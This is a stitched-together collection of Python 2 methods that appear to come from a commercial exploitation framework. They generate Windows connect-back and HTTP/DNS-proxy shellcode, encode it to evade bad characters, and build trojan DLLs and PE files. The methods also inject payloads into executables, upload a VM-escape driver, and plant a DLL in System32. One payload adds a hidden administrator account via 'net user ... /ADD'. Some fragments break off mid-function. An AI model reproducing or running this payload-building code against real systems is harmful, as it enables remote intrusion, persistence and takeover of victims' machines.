def createWin32ClientSideShellcode(self, win8_compatible=False): """ Creates a standard Universal Win32 client-side callback shellcode """ host = self.callback.ip port = self.callback.port self.log("Shellcode calling back to %s:%d" % (host, port)) proxy_payload = '' if self.HTTPMOSDEF and not self.nohttpmosdef: import shellcode.standalone.windows.payloads as payloads p = payloads.payloads() sc = p.http_proxy(host, port, SSL=self.useSSLMOSDEF) proxy_payload = p.assemble(sc) self.log('HTTP MOSDEF payload size: %d bytes' % len(proxy_payload)) self.log('HTTP MOSDEF callback IP: %s PORT: %s SSL: %s' % (host, port, self.useSSLMOSDEF)) else: self.log("Using TCP callback shellcode (%s:%d)" % (host, port)) self.shellcode = self.createInjectToSelf(host, port,\ injectme=proxy_payload,\ movetostack=self.move_to_stack, universal=True, vProtect=self.vProtect, win8_compatible=win8_compatible, vAlloc=self.vAlloc) if len(self.shellcode) % 2: self.shellcode += 'A' self.log("Length of shellcode: %s" % len(self.shellcode)) return self.shellcode
def createShellcode(self): localhost = self.callback.ip localport = self.callback.port sc = shellcodeGenerator.win32() sc.addAttr('SearchCodeSafeSEH', {'tag': 0x46494a45}) #'c00k' sc.standalone = 1 self.searchcode = sc.get() open("searchcode.s", "w").write(sc.code) #sc = shellcodeGenerator.win32() #sc.addAttr("OrigamiInjectSmall", { "ipaddress": localhost, "port": localport, "processname": "CdfSvc.exe"}) #sc.addAttr("ExitThread", None) #self.callback.argsDict["fromcreatethread"] = 1 self.shellcode = sc.get() open("shellcode.s", "w").write(sc.code) import shellcode.standalone.windows.payloads as payloads p = payloads.payloads() sc = p.forkload(localhost, localport, restorehash=True, load_winsock=True, processname="dmremote") self.shellcode = p.assemble(sc) #self.createWin32Shellcode(self.badstring,localhost,localport) #self.createHeapSafeInjectIntoProcess(self.badstring, localhost, localport, smallcode=1, processname="CdfSvc.exe", backupprocess="cdfsvc.exe") # Fixup Code: code = "movl $0x%08x, %%eax\nmov %%eax, (0x%08x) " % ( (self.PTR + 0x2C), (self.PTR + 0x2C)) fixup_code = mosdef.assemble(code, "X86") self.shellcode = struct.pack( "<L", 0x46494a45) * 2 + fixup_code + self.shellcode return self.shellcode
def createShellcode(self): host = self.callback.ip port = self.callback.port self.log('Connect back information: %s:%d' % (host, port)) proxy_payload = '' try: # this stuff is only used when served in HTTP MOSDEF mode if hasattr(self, 'HTTPMOSDEF') and self.HTTPMOSDEF == True: # make sure that fromcreatethread is set to 0 in your # httpserver/exploit listenerArgsDict! import shellcode.standalone.windows.payloads as payloads ssl_dict = {True: 'https', False: 'http'} p = payloads.payloads() sc = p.http_proxy("%s://%s" % \ (ssl_dict[self.useSSL],\ self.callback.ip),\ self.callback.port) proxy_payload = p.assemble(sc) except: proxy_payload = '' rawshellcode = self.createInjectToSelf(host, port,\ injectme=proxy_payload,\ movetostack=True) from encoder import chunkedaddencoder encoder = chunkedaddencoder.intelchunkedaddencoder() encoder.setbadstring(self.badstring) self.shellcode = encoder.encode(rawshellcode) return self.shellcode
def run(self): self.getargs() self.setInfo("%s (in progress)" % (NAME)) #check to make sure we have a proxyaddr argument if not self.proxyaddr: self.log("Cannot continue without a proxy address") self.setInfo("%s failed without PROXYADDR argument" % NAME) return 0 #check to make sure we have a domain argument if not self.domain: self.log("Cannot continue without a domain name") self.setInfo("%s failed without DOMAIN argument" % NAME) return 0 p = payloads.payloads() sc = p.dns_proxy("CNNN.NN.%s.%s" % ('dummy', self.domain), self.proxyaddr) #sc = p.httpcachedownload( self.url ) sc = p.assemble(sc) myPElib = pelib.PElib() exe = myPElib.createPEFileBuf(sc, gui=True) afile = file(self.filename, 'wb+') afile.write(exe) afile.close() self.log("File written to %s of %d bytes"%(self.filename, len(exe))) self.setInfo("%s Wrote %s callback to %s - done" % (NAME, self.proxyaddr, self.filename)) return len(sc) != 0
def make_dll(self): t_os = canvasos('WINDOWS') t_os.arch = "x64" if (self.is_64bit_node() or self.has_wow64()) else "x86" if t_os.arch == "x64": plds = payloads64(dll=True) inner_pld = payloads64(module=self, dll=False) assembly_inner = inner_pld.callback(self.callback.ip, self.callback.port, universal=True) code_inner = inner_pld.assemble(assembly_inner) assembly_outer = plds.wrap_payload(code_inner) shellcode = plds.assemble(assembly_outer) myPElib = PElib(win64=1) trojan_dll = myPElib.createPEFileBuf({'DllMain': shellcode}, gui=False) else: plds = payloads(module=self, dll=True) assembly_inner = plds.callback(self.callback.ip, self.callback.port, universal=True) shellcode = plds.assemble(assembly_inner) myPElib = PElib() importante = myPElib.get_random_imports() trojan_dll = myPElib.createPEFileBuf({'DllMain': shellcode}, gui=False, importante=importante) return trojan_dll
def create_shellcode(self): # we need to avoid using injectToSelf since CreateProcess() is failing host = self.callback.ip port = self.callback.port import shellcode.standalone.windows.payloads as payloads p = payloads.payloads() if self.HTTPMOSDEF or self.useSSLMOSDEF: self.log("Shellcode calling back to %s:%d"%(host, port)) proxy_payload = '' sc = p.http_proxy(host, port, SSL=self.useSSLMOSDEF) proxy_payload = p.assemble(sc) self.log('HTTP MOSDEF payload size: %d bytes' % len(proxy_payload)) self.log('HTTP MOSDEF callback IP: %s PORT: %s SSL: %s' % (host, port, self.useSSLMOSDEF)) self.shellcode = proxy_payload if len(self.shellcode) % 2: self.shellcode += 'A' else: sc = p.callback(host, port, universal=True) payload = p.assemble(sc) self.shellcode = payload
def createShellcode(self): p = payloads.payloads(VirtualProtect=True) sc = p.forkload(self.callback.ip, self.callback.port, restorehash=True, load_winsock=True) self.shellcode = p.assemble(sc) return self.shellcode
def createDLLShellcode(self): # Create the Reader 11 sandbox bypass dll, we put the shellcode on the # rdata shellcode placeholder dll_data = open(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'Resources', 'adobe.dll'), 'rb').read() dll_data = dll_data[:0x1260] + self.shellcode + '\x90'*(0x800-len(self.shellcode)) + dll_data[0x1260+0x800:] p = other_payloads.payloads() sc = p.dll_from_mem(dll_data) sc = p.assemble(sc) self.dll_shellcode = self.urlencode(sc)
def createShellcode(self): before_shellcode = """ subl $0x2800, %esp leal 0x1400(%esp),%edi mov %ebx,(%edi) mov %esi,0x4(%edi) mov %edi,0x8(%edi) mov %esp,0xc(%edi) mov %ebp,0x10(%edi) """ continuation_code = """ leal -0x1628(%ebx),%eax mov (%eax),%ebx mov 0x4(%eax),%esi mov 0x8(%eax),%edi mov 0xc(%eax),%esp mov 0x10(%eax),%ebp mov %esi, %esp mov $0x6, %eax ret """ injectme = self.createWin32Shellcode_universal(self.badstring, self.callback.ip, self.callback.port) if not self.DNSMOSDEF: sc = shellcodeGenerator.win32() sc.vProtectSelf = False sc.vAllocSelf = False sc.addAttr("findeipnoesp", {"subespval": 0}) sc.addAttr("InjectToSelf", { "injectme": injectme, "customexit": continuation_code }) self.shellcode = mosdef.assemble(before_shellcode, "x86") + sc.get() else: import shellcode.standalone.windows.payloads as payloads p = payloads.payloads() cd = "C000.00.%s.ms11003.com" % (self.random_dummy_string()) dns = p.dns_proxy( cd, self.callback.ip) #we'll need to tweak the domain dns = p.assemble(dns) sc = shellcodeGenerator.win32() sc.addAttr("findeipnoesp", {"subespval": 0}) sc.addAttr("InjectToSelf", { "injectme": dns, "customexit": continuation_code }) self.shellcode = mosdef.assemble(before_shellcode, "x86") + sc.get() return len(self.shellcode)
def createShellcode(self): host = self.callback.ip port = self.callback.port self.log('Connect back information: %s:%d' % (host, port)) proxy_payload = '' try: # this stuff is only used when served in HTTP MOSDEF mode if hasattr(self, 'HTTPMOSDEF') and self.HTTPMOSDEF == True: # make sure that fromcreatethread is set to 0 in your # httpserver/exploit listenerArgsDict! import shellcode.standalone.windows.payloads as payloads p = payloads.payloads() sc = p.http_proxy(self.callback.ip, self.callback.port, self.useSSLMOSDEF) proxy_payload = p.assemble(sc) except: proxy_payload = '' rawshellcode = self.createInjectToSelf(host, port,\ injectme=proxy_payload,\ movetostack=True) # simple XOR encoder for space ... # main payload self.shellcode = '' for n in range(0, 256): encoder = xorencoder.simpleXOR(n) encoder.setbadstring(self.badstring) self.shellcode = encoder.encode(rawshellcode) if self.shellcode != '': print "XXX: success with key: %.2X" % n break if self.shellcode == '': print "XXX: could not encode shellcode oh no!" raise Exception, "failed encoder" sc = shellcodeGenerator.win32() sc.addAttr('SearchCodeSafeSEH', {'tag': self.tag}) sc.standalone = 1 # searchcode here, use regular chunked encoder from encoder import chunkedaddencoder encoder = chunkedaddencoder.intelchunkedaddencoder() encoder.setbadstring(self.badstring) self.searchcode = encoder.encode(sc.get() + "ABCD") #print repr(self.shellcode) #print "XXX: %d" % len(self.shellcode) return self.shellcode
def create_new_section_content(self): if self.win64: jmp_offset = self.new_section.VirtualAddress + JMP_INSTR_LEN + 8 - self.original_entry_point jmp_to_original_entry_point = mosdef.assemble( "jmp $0x%16.16x\n" % uint64(-jmp_offset), self.ARCH) p = payloads64.payloads() padding = 8 # rax, rbx, rcx, rdx, rsi, rdi, rsp, rbp, r8, r9, r10, r11, r12, r13, r14, r15 heading = """ push %rax push %rbx push %rcx push %rdx push %rsi push %rdi push %rbp push %r8 push %r9 push %r10 push %r11 push %r12 push %r13 push %r14 """ heading += """ jmp findyou retpcloc: mov (%rsp),%r15 ret findyou: call retpcloc and $0xffffffffffffff00,%r15 mov %rsp,(%r15) """ else: jmp_offset = self.new_section.VirtualAddress + JMP_INSTR_LEN - self.original_entry_point jmp_to_original_entry_point = mosdef.assemble( "jmp $0x%8.8x\n" % uint32(-jmp_offset), self.ARCH) padding = 0 p = payloads.payloads() heading = '' new_section_data = '\x90' * padding new_section_data += jmp_to_original_entry_point if heading: new_section_data += p.assemble(heading) new_section_data += self.shellcode new_section_data += '\x90' * (self.new_section.SizeOfRawData - len(new_section_data)) return new_section_data
def make_dll_last_win(self): t_os = canvasos('WINDOWS') t_os.arch = "x64" if (self.is_64bit_node() or self.has_wow64()) else "x86" dll_name = "" if t_os.arch == "x64": dll_name = "dll_x64.dll" plds = payloads64( module=self, dll=False) # False-> terminate thread // True -> ret else: dll_name = "dll_x86.dll" plds = payloads(module=self, dll=False) assembly_inner = plds.callback(self.callback.ip, self.callback.port, universal=True) code_inner = plds.assemble(assembly_inner) code_len = len(code_inner) local_dll_path = os.path.join(self.binaries_path, dll_name) with open(local_dll_path, 'rb') as f: local_dll_binary = f.read() pos = local_dll_binary.find("NOX") tmp_dll_binary = local_dll_binary[:pos] tmp_dll_binary += code_inner tmp_dll_binary += local_dll_binary[pos + len(code_inner):] tmp_dll_name = "%s.dll" % random.randint(10001, 99999) tmp_dll_path = os.path.join(self.binaries_path, tmp_dll_name) logging.info(tmp_dll_path) with open(tmp_dll_path, 'wb') as f: f.write(tmp_dll_binary) windir = self.node.shell.GetEnvironmentVariable('SystemRoot') if self.has_wow64(): remote_dll_path = windir + "\\Sysnative\\windowscoredeviceinfo.dll" else: remote_dll_path = windir + "\\System32\\windowscoredeviceinfo.dll" if not self.nodeUpload(tmp_dll_path, remote_dll_path): os.unlink(tmp_dll_path) return False os.unlink(tmp_dll_path) return True
def createShellcode(self): #sc=shellcodeGenerator.win32() #sc.addAttr("findeipnoesp",{"subespval": self.subesp}) #don't mess with eip #sc.addAttr("revert_to_self_before_importing_ws2_32", None) #sc.addAttr("tcpconnect",{"port":self.callback.port,"ipaddress":self.callback.ip}) #sc.addAttr("CreateThreadRecvExecWin32",{"socketreg": "FDSPOT"}) #MOSDEF #sc.addAttr("ExitThread",None) #self.shellcode =sc.get() import MOSDEF.pelib as pelib import shellcode.standalone.windows.payloads as payloads p = payloads.payloads() self.callback.port sc = p.forkload(self.callback.ip, self.callback.port, restorehash=True, load_winsock=True) self.shellcode = p.assemble(sc) return self.shellcode
def get_shellcode(self): raw_shellcode = None if self.mosdef_type == "http": import shellcode.standalone.windows.payloads as payloads p = payloads.payloads() sc = p.http_proxy(self.callback.ip, self.callback.port, SSL=self.ssl) raw_shellcode = p.assemble(sc) else: sc = shellcodeGenerator.win32() sc.addAttr("findeipnoesp",{"subespval": 0x8}) # Your user may not be NT AUTHORITY \ NETWORK SERVICE if this # line is commented out, but one with a lower privilege sc.addAttr("revert_to_self_before_importing_ws2_32", {"win8_compatible":True}) sc.addAttr("tcpconnect", {"port" : self.callback.port, "ipaddress" : self.callback.ip}) mosdef_type = self.engine.getMosdefType(canvasengine.WIN32MOSDEF_INTEL) mosdef_id = self.engine.getNewMosdefID(self) sc.addAttr("send_universal", {"mosdef_type": mosdef_type, "mosdef_id": mosdef_id}) sc.addAttr("RecvExecDepSafe",{'socketreg': 'FDSPOT'}) sc.addAttr("ExitThread",None) raw_shellcode = sc.get() encoder = intelchunkedaddencoder() encoder.setbadstring("".join([chr(x) for x in range(0xd8, 0xe0)] + ["\x00"])) # We ended up clobbering pointers to our old stack frames due # to the fact that we had to maintain control of execution # after the ntdll!LdrpCheckNXCompatibility gadget, which loads # esp into ebp. However, we don't want to simply leave our stack # inside a writable memory range in NTDLL as critical data could # be overwritten. Thus we find the top of the stack in fs:[4], # subtract 4 from it (so that we have a writable stack pointer) # and subsequently use it. fixup_stub = ["xorl %ecx, %ecx", "incl %ecx", "incl %ecx", "incl %ecx", "incl %ecx", "movl %fs:(%ecx), %esp", "decl %esp", "decl %esp", "decl %esp", "decl %esp"] return mosdef.assemble("\n".join(fixup_stub), "X86") + encoder.encode(raw_shellcode)
def maketrojan(self): proxy_payload = '' try: if hasattr(self, 'HTTPMOSDEF') and self.HTTPMOSDEF == True: # make sure that fromcreatethread is set to 0 in your # httpserver/exploit listenerArgsDict! import shellcode.standalone.windows.payloads as payloads ssl_dict = { True : 'https', False : 'http' } print "XXX: self.useSSL ..." + str(self.useSSL) p = payloads.payloads() sc = p.http_proxy("%s://%s" % (ssl_dict[self.useSSL], self.callback.ip), self.callback.port) proxy_payload = p.assemble(sc) except Exception,msg: import traceback traceback.print_exc(file=sys.stderr) proxy_payload = ''
def createShellcode(self): proxy_payload = '' try: if hasattr(self, 'HTTPMOSDEF') and self.HTTPMOSDEF == True: import shellcode.standalone.windows.payloads as payloads ssl_dict = {True: 'https', False: 'http'} p = payloads.payloads() sc = p.http_proxy( "%s://%s" % (ssl_dict[self.useSSL], self.callback.ip), self.callback.port) proxy_payload = p.assemble(sc) except Exception, msg: import traceback traceback.print_exc(file=sys.stderr) proxy_payload = ''
def createShellcode(self): #get us a clean stack to play with and save the original EBP for continuation of execution before_shellcode=""" xorl %ecx,%ecx movl %fs:0x8(%ecx),%esp addl $0x2000, %esp movl %ebp, 0x09001028(%ecx) """ continuation_code=""" xorl %ecx,%ecx xorl %eax,%eax movl 0x09001028(%ecx), %ebp movl %ebp, %esp subl $0x10, %esp popl %edi popl %esi popl %ebx leave ret $4 """ injectme = self.createWin32Shellcode_universal(self.badstring, self.callback.ip, self.callback.port) if not self.DNSMOSDEF: sc = shellcodeGenerator.win32() sc.vProtectSelf=False sc.vAllocSelf = False sc.addAttr("findeipnoesp", {"subespval": 0}) sc.addAttr("InjectToSelf", { "injectme" : injectme, "customexit" : continuation_code }) self.shellcode = mosdef.assemble(before_shellcode, "x86") + sc.get() else: import shellcode.standalone.windows.payloads as payloads p = payloads.payloads() cd = "C000.00.%s.ms11003.com" % (self.random_dummy_string()) sc = p.dns_proxy(cd, self.callback.ip) #we'll need to tweak the domain sc = p.assemble(sc) self.shellcode = mosdef.assemble(before_shellcode, "x86") + sc return len(self.shellcode)
def run(self): self.getargs() self.setInfo("%s (in progress)" % (NAME)) #check to make sure we have a url argument if not self.url: self.log("Cannot continue without a URL argument") self.setInfo("%s failed without URL argument"%NAME) return 0 p = payloads.payloads() sc = p.httpcachedownload( self.url ) sc = p.assemble(sc) myPElib = pelib.PElib() exe = myPElib.createPEFileBuf(sc, gui=True) afile = file(self.filename, 'wb+') afile.write(exe) afile.close() self.log("File written to %s of %d bytes"%(self.filename, len(exe))) self.setInfo("%s Wrote %s callback to %s - done" % (NAME,self.url, self.filename)) return len(sc) != 0
def createShellcode(self): if self.version == 3: import shellcode.standalone.windows.payloads as payloads p = payloads.payloads() sc = p.win32_exec( "cmd.exe /c net user c c /ADD && net localgroup administrators c /ADD" ) rawshellcode = p.assemble(sc) else: sc = shellcodeGenerator.win32() sc.addAttr('findeipnoesp', {'subespval': self.subesp}) if self.version == 1: sc.addAttr('Fix RtlEnterCriticalSection', {'SimpleFix': 1}) if self.callback.ip == '0.0.0.0': sc.addAttr('BindMosdef', {'port': self.callback.port}) else: sc.addAttr('tcpconnect', { 'port': self.callback.port, 'ipaddress': self.callback.ip }) sc.addAttr('RecvExecWin32', {'socketreg': 'FDSPOT'}) #MOSDEF sc.addAttr('ExitThread', None) rawshellcode = sc.get() encoder = xorencoder.simpleXOR() encoder.setbadstring(self.badstring) ret = encoder.find_key(rawshellcode) if ret == 0: self.log('Could not find a key for this shellcode!') raise Exception, 'No shellcode generated' self.shellcode = encoder.encode(rawshellcode) if self.shellcode == '': raise Exception, 'No shellcode generated' self.log('Xor key used: %x' % (encoder.getkey())) self.log('Length of shellcode=%s' % (len(self.shellcode))) self.shellcode = '\x90' * (487 - len(self.shellcode)) + self.shellcode return self.shellcode
def wp_createWin32DNSMOSDEFShellcode(self): """ Creates a Win32 DNSMOSDEF Shellcode """ import shellcode.standalone.windows.payloads as payloads self.log("WP> Generating Win32 DNSMOSDEF shellcode") self.log("WP> Domain: %s" % self.domain) self.log('WP> Connect back information: %s:%d' % (self.callback.ip, self.callback.port)) cd = "".join([random.choice(string.uppercase) for x in range(5)]) + '.' cd += "".join([random.choice(string.uppercase) for x in range(3)]) + '.' cd += self.domain p = payloads.payloads() sc = p.dns_proxy(cd, '192.168.4.1') rawshellcode = p.assemble(sc) if getattr(self, 'alignstack', False): rawshellcode = wp_AlignStack() + rawshellcode self.log("WP> Enabling Stack Alignment") # encode the shellcode # Set self.useRawShellcode = True to disable if getattr(self, 'useRawShellcode', False): shellcode = rawshellcode else: shellcode = self.wp_encodeShellcode(self.badstring, rawshellcode) # debug int # shellcode="\xcc"+shellcode self.setShellcode(shellcode) self.shellcode_size = len(shellcode) return shellcode
def backwards_compatible(self, clientheader, spike_fd): self.log( "Backwards compatible mode prepping to HTTP MOSDEF back to: %s:%d" % (self.mosdef_host, self.server_port)) import shellcode.standalone.windows.payloads as payloads ssl_dict = {True: 'https', False: 'http'} p = payloads.payloads() sc = p.http_proxy(self.mosdef_host, self.mosdef_port, SSL=self.useSSL) # slap it in a body and send it on it's way newbody = p.assemble(sc) newbody = struct.pack('<L', len(newbody)) + newbody servheader = header('SERVER') servbody = body() resp = '' servbody.setBody(newbody) if clientheader.cangzip: servheader.setcanzip(clientheader) bodydata = ''.join(servbody.data) if servheader.cangzip: bodydata = gzipBuffer(bodydata) servheader.addHeader('Content-Encoding', 'gzip') resp += '%s %s %s\r\n' % \ (servheader.version, servheader.status, servheader.msg) for akey in servheader.headerValuesDict.keys(): if akey.upper() not in ['CONTENT-LENGTH']: resp += servheader.grabHeader(akey) resp += 'Content-Length: ' + str(len(bodydata)) + '\r\n' resp += '\r\n' resp += ''.join(bodydata) try: spike_fd.send(resp) except socket.error: self.log("Connection closed by peer") return False spike_fd.close() return True
def wp_createWin32HTTPMOSDEFShellcode(self): """ Creates Win32 HTTPMOSDEF Shellcode Injects to IE and uses HTTP to communicate """ self.log("WP> Generating Win32 HTTPMOSDEF capable shellcode") self.log('WP> Connect back information: %s:%d' % (self.callback.ip, self.callback.port)) proxy_payload = '' try: # this stuff is only used when served in HTTP MOSDEF mode if getattr(self, 'HTTPMOSDEF', False): # make sure that fromcreatethread is set to 0 in your # httpserver/exploit listenerArgsDict! # http_proxy automaticall supports universal listener import shellcode.standalone.windows.payloads as payloads ssl_dict = {True: 'https', False: 'http'} p = payloads.payloads(VistaCompat=True) sc = p.http_proxy("%s://%s" % \ (ssl_dict[self.useSSLMOSDEF],\ self.callback.ip),\ self.callback.port) proxy_payload = p.assemble(sc) if self.useSSLMOSDEF: self.log("WP> Generated Win32 SSL HTTPMOSDEF stager code") else: self.log( "WP> Generated Win32 PLAIN HTTPMOSDEF stager code") except: proxy_payload = '' # based on the original createInjectToSelf sc = shellcodeGenerator.win32() #Set self.vProtect = True to enable if getattr(self, 'vProtect', False): sc.vProtectSelf = True self.log("WP> Enabling Shellcode vProtect") #Set self.suspendThreads = True to enable if getattr(self, 'suspendThreads', False): sc.addAttr("SuspendThreads", None) self.log("WP> Enabling SuspendThreads") sc.addAttr("findeipnoesp", {"subespval": 0}) if getattr(self, 'inject_dontexit', False): sc.addAttr( "InjectToSelf", { "injectme": proxy_payload, "DONTEXIT": True, "customexit": "jmp exit" }) # This exithread is not needed if the InjectToSelf code calls ExitProcess sc.addAttr("ExitThread", None) else: sc.addAttr("InjectToSelf", {"injectme": proxy_payload}) rawshellcode = sc.get() self.log("WP> Generated Win32 IE Injection shellcode") if getattr(self, 'alignstack', False): rawshellcode = wp_AlignStack() + rawshellcode self.log("WP> Enabling Stack Alignment") # encode the shellcode # Set self.useRawShellcode = True to disable if getattr(self, 'useRawShellcode', False): shellcode = rawshellcode else: shellcode = self.wp_encodeShellcode(self.badstring, rawshellcode) #shellcode="\xcc"+shellcode self.setShellcode(shellcode) self.shellcode_size = len(shellcode) return shellcode
def run_attack(self, node): self.node = node #XXX: not needed? ret, nodeos = node.shell.GetVersionEx() minor = nodeos['Minor Version'] major = nodeos['Major Version'] self.log('Attacking Windows %d.%d' % (major, minor)) if major != 5: self.log( 'This exploit is only for Windows 2000, Windows XP, Windows Server 2003.' ) return 0 if self.usecheckvm == 1: self.log('Checking if we are running inside a VM') ret = node.shell.checkvm() if not ret: self.log( 'This exploit will only work on VMware Guests. Aborting.') return 0 self.log('Running CLOUDBURST with version %d' % (self.version)) winList = self.engine.autoListener(self, canvasengine.WIN32MOSDEF) winList.argsDict['fromcreatethread'] = False linList = self.engine.autoListener(self, canvasengine.LINUXMOSDEF) if winList == None or linList == None: self.log( 'One or both of the MOSDEF listeners could not be started') return 0 self.log('Replacing shellcodes') resources = os.path.join(CanvasConfig['canvas_resources'], 'CLOUDBURST') f = open(os.path.join(resources, 'cloudburst.sys'), 'rb') driver = f.read() f.close() if self.version == 0: #asm=p.callback(winList.ip,winList.port) #Note to self: Do not use an unfinished shellcode to avoid headaches self.createWin32Shellcode('', winList.ip, winList.port) winSc = self.shellcode elif self.version == 1: p = payloads.payloads() asm = p.framebuffer_proxy() winSc = p.assemble(asm) i = driver.find('DNIW') if i == -1: self.log( 'Windows shellcode tag could not be found in cloudburst.sys') return 0 i += 4 print('Windows shellcode length: %d' % (len(winSc))) driver = driver[:i] + winSc + driver[i + len(winSc):] linSc = self.createLinuxCallbackShellcode(linList.ip, linList.port, '') i = driver.find('UNIL') if i == -1: self.log( 'Linux shellcode tag could not be found in cloudburst.sys') return 0 i += 4 print('Linux shellcode length: %d' % (len(linSc))) driver = driver[:i] + linSc + driver[i + len(linSc):] self.log('Fixing the checksum of cloudburst.sys') offset = struct.unpack('<H', driver[0x3c:0x3e])[0] + 0x58 #PEOffset+0x58 driver = driver[:offset] + struct.pack( '<L', 0) + driver[offset + 4:] #Zero out the checksum field cksum = 0 if (len(driver) % 0x80) != 0: self.log( 'Size of cloudburst.sys is not a multiple of 0x80. Aborting.') return 0 for i in range(0, len(driver), 4): cksum += struct.unpack('<L', driver[i:i + 4])[0] #Additive checksum cksum = (cksum >> 0x10) + (cksum & 0xffff) cksum += cksum >> 0x10 cksum &= 0xffff cksum += len(driver) #Add the length of the image self.log('New cloudburst.sys checksum: %08x' % (cksum)) driver = driver[:offset] + struct.pack('<L', cksum) + driver[offset + 4:] remote_path = self.node.shell.getcwd() + '\\' self.log('Uploading cloudburst.sys') cloudburst_sys = remote_path + 'cloudburst.sys' ret = self.node.shell.upload(driver, destfilename=cloudburst_sys, sourceisbuffer=True) if not ret: self.log('Upload of cloudburst.sys failed.') return 0 self.log('Uploading cloudburst.exe') cloudburst_exe = remote_path + 'cloudburst.exe' ret = self.node.shell.upload(os.path.join(resources, 'cloudburst.exe'), destfilename=cloudburst_exe) if not ret: self.log('Upload of cloudburst.exe failed.') return 0 ret = self.node.shell.runcommand('"%s"' % (cloudburst_exe)) self.log('RunCommand returned "%s"' % (ret)) if ret.count('Error') > 0: self.log( 'CLOUDBURST failed to execute. Check the output of the binary.' ) return 1 self.log('Removing uploaded file') self.node.shell.unlink(cloudburst_exe) self.node.shell.unlink(cloudburst_sys) if self.version != 0: self.log('Uploading mosdefd3d.exe') mosdefd3d_exe = remote_path + 'mosdefd3d.exe' ret = self.node.shell.upload(os.path.join(resources, 'mosdefd3d.exe'), destfilename=mosdefd3d_exe) if not ret: self.log('Upload of mosdefd3d.exe failed.') return 0 self.log('Sleeping 5s') time.sleep(5) self.log('Executing: "%s" %s %d' % (mosdefd3d_exe, winList.ip, winList.port)) ret = self.node.shell.runcommand( '"%s" %s %d' % (mosdefd3d_exe, winList.ip, winList.port)) self.log('RunCommand returned "%s"' % (ret)) self.log('Exploit done.') return 0
def vm_prepare_executables(self, tmp_directory): if self.is_64bit_node() and (not self.is_win10_node()): logging.info( "VM exploit not capable of running on pre-10 Windows versions") return None c_string_padding = "A" * 300 exploit_name = "%s.exe" % random.randint(1001, 2000) exploit_local_path = os.path.join(self.local_res, "tmp_%s" % exploit_name) exploit_rem_path = tmp_directory + exploit_name mosdef_dll_name = "%s.dll" % random.randint(2001, 3000) mosdef_local_path = os.path.join(self.local_res, "tmp_%s" % mosdef_dll_name) mosdef_rem_path = tmp_directory + mosdef_dll_name return_value = [(exploit_local_path, exploit_rem_path), (mosdef_local_path, mosdef_rem_path)] exploit_orig_name = "vm_exploit32.exe" if self.is_64bit_node() or self.has_wow64(): exploit_orig_name = "vm_exploit64.exe" shellcode = None mosdeftrojan = None if self.is_64bit_node() or self.has_wow64(): pld = payloads64(module=self, dll=True) shellcode_asm = pld.InjectToSelf(self.callback.ip, self.callback.port) shellcode = pld.assemble(shellcode_asm) myPElib = pelib.PElib(win64=1) mosdeftrojan = myPElib.createPEFileBuf({'DllMain': shellcode}, gui=True) else: pld = payloads(module=self, dll=True) shellcode_asm = pld.injectintoprocess(self.callback.ip, self.callback.port, load_winsock=True, SeDebugPrivilege=True, waitcode=False, exit_thread=True, universal=True, dll_create_thread=False) shellcode = pld.assemble(shellcode_asm) myPElib = pelib.PElib() importante = myPElib.get_random_imports() mosdeftrojan = myPElib.createPEFileBuf({'DllMain': shellcode}, gui=True, importante=importante) if mosdeftrojan == None: logging.error("Error while building our PE") return None else: logging.info("Writing MOSDEF LSASS inject trojan to %s" % mosdef_local_path) with open(mosdef_local_path, "wb") as handle: handle.write(mosdeftrojan) exploit_data = None with open(os.path.join(self.local_res, exploit_orig_name), "rb") as handle: exploit_data = handle.read() exploit_data = self.replace_c_string( exploit_data, "MOSDEF_SHIM_DLL_PATH" + c_string_padding, mosdef_rem_path) logging.info("Writing exploit to %s" % exploit_local_path) with open(exploit_local_path, "wb") as handle: handle.write(exploit_data) return return_value
def createShellcode(self): import shellcode.standalone.windows.payloads as payloads self.log('Connect back information: %s:%d' % (self.callback.ip, self.callback.port)) self.callback.argsDict["fromcreatethread"] = 0 proxy_payload = "" try: # this stuff is only used when served in HTTP MOSDEF mode if hasattr(self, 'HTTPMOSDEF') and self.HTTPMOSDEF == True: # make sure that fromcreatethread is set to 0 in your # httpserver/exploit listenerArgsDict! p = payloads.payloads() sc = p.http_proxy(self.callback.ip, self.callback.port, SSL=self.useSSLMOSDEF) proxy_payload = p.assemble(sc) except: pass if not proxy_payload: mosdef_type = self.engine.getMosdefType( canvasengine.WIN32MOSDEF_INTEL) mosdef_id = self.engine.getNewMosdefID(self) sc = shellcodeGenerator.win32() sc.addAttr("findeipnoesp", {"subespval": self.subesp}) #don't mess with eip sc.addAttr("revert_to_self_before_importing_ws2_32", None) sc.addAttr("tcpconnect", { "port": self.callback.port, "ipaddress": self.callback.ip }) sc.addAttr("send_universal", { "mosdef_type": mosdef_type, "mosdef_id": mosdef_id }) sc.addAttr("loadFDasreg", {"reg": "esi"}) sc.addAttr("RecvExecDepSafe", None) #MOSDEF sc.addAttr("ExitProcess", None) proxy_payload = sc.get() sc = vsc_win32() sc.addAttr("findeipnoesp", {"subespval": 0x1000}) sc.addAttr("InjectToSelf", { "injectme": proxy_payload, "movetostack": True, "DONTEXIT": True }) sc.addAttr("flash_newfunction_cleanup", None) rawshellcode = sc.get() #fix ESP before doing anything else self.shellcode = mosdef.assemble( """ xorl %ecx,%ecx movl %ebp, 0x07018E10(%ecx) andl $0xFFFFFF00, %esp """, "x86") + rawshellcode if len(self.shellcode) % 4: self.shellcode += "\x90" * (4 - (len(self.shellcode) % 4)) self.log("Shellcode size:0x%x" % len(self.shellcode)) return self.shellcode